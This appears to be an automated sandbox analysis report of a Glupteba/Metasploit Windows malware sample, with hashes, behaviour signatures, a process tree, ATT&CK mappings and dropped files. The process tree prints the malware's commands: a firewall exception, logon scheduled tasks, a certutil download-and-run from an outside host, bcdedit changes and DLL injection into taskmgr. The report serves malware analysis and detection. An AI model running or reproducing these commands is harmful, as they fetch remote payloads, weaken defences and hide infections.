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Overview

overview

10

Static

static

1

JaffaCakes...ab.exe

windows7-x64

10

JaffaCakes...ab.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    30/12/2024, 18:27

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General

  • Target

    JaffaCakes118_0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab.exe

  • Size

    4.4MB

  • MD5

    5aa67add712762342d5731c6a95f8014

  • SHA1

    6eb2036c9f5bc1f9915eb7216526db08e487fdc4

  • SHA256

    0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab

  • SHA512

    ac194c0b7b1f26036f69fd90c36bae9e86b69cd68316b655782af2065cf15cf79da1b083d3178cc20c4caab1b90d67563d3a67de0cffbead1cda47e0b9446eeb

  • SSDEEP

    98304:yRSlobopxXPMWdpzw1+u/TaUwuz3tH9zxQdc:yRRopxXnnxCTauzZ9Yc

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba family
    glupteba
  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • GoLang User-Agent 5 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2820
    • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab.exe
      "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3028
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:2792
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe /51-51
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2352
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1348
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:2148
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1656
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:756
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241230182759.log C:\Windows\Logs\CBS\CbsPersist_20241230182759.cab
    1⤵
    • Drops file in Windows directory
    PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

3
T1562

Disable or Modify System Firewall

1
T1562.004

Disable or Modify Tools

2
T1562.001

Modify Registry

4
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
    Filesize

    8.3MB

    MD5

    fd2727132edd0b59fa33733daa11d9ef

    SHA1

    63e36198d90c4c2b9b09dd6786b82aba5f03d29a

    SHA256

    3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

    SHA512

    3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\osloader.exe
    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

    Download Submit

  • \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
    Filesize

    281KB

    MD5

    d98e33b66343e7c96158444127a117f6

    SHA1

    bb716c5509a2bf345c6c1152f6e3e1452d39d50d

    SHA256

    5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

    SHA512

    705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

    Download Submit

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    Download Submit

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

    Download Submit

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

    Download Submit

  • \Windows\rss\csrss.exe
    Filesize

    4.4MB

    MD5

    5aa67add712762342d5731c6a95f8014

    SHA1

    6eb2036c9f5bc1f9915eb7216526db08e487fdc4

    SHA256

    0c3467ac50490f7a0bfa48a8b927d255ab81ad0a11364566f5fd678184ef44ab

    SHA512

    ac194c0b7b1f26036f69fd90c36bae9e86b69cd68316b655782af2065cf15cf79da1b083d3178cc20c4caab1b90d67563d3a67de0cffbead1cda47e0b9446eeb

    Download Submit

  • memory/2148-39-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

    Download

  • memory/2148-24-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

    Download

  • memory/2708-69-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-18-0x0000000003D80000-0x00000000041BB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2708-95-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-94-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-93-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-92-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-91-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-70-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-90-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-41-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-54-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-58-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-89-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2708-83-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/2820-8-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

    Download

  • memory/2820-0-0x0000000003DB0000-0x00000000041EB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2820-2-0x00000000041F0000-0x0000000004B0E000-memory.dmp

    Filesize

    9.1MB

    Download

  • memory/2820-1-0x0000000003DB0000-0x00000000041EB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2820-3-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

    Download

  • memory/2820-7-0x0000000003DB0000-0x00000000041EB000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/2820-6-0x00000000041F0000-0x0000000004B0E000-memory.dmp

    Filesize

    9.1MB

    Download

  • memory/2820-4-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/3028-5-0x0000000003E30000-0x000000000426B000-memory.dmp

    Filesize

    4.2MB

    Download

  • memory/3028-9-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download

  • memory/3028-19-0x0000000000400000-0x0000000002580000-memory.dmp

    Filesize

    33.5MB

    Download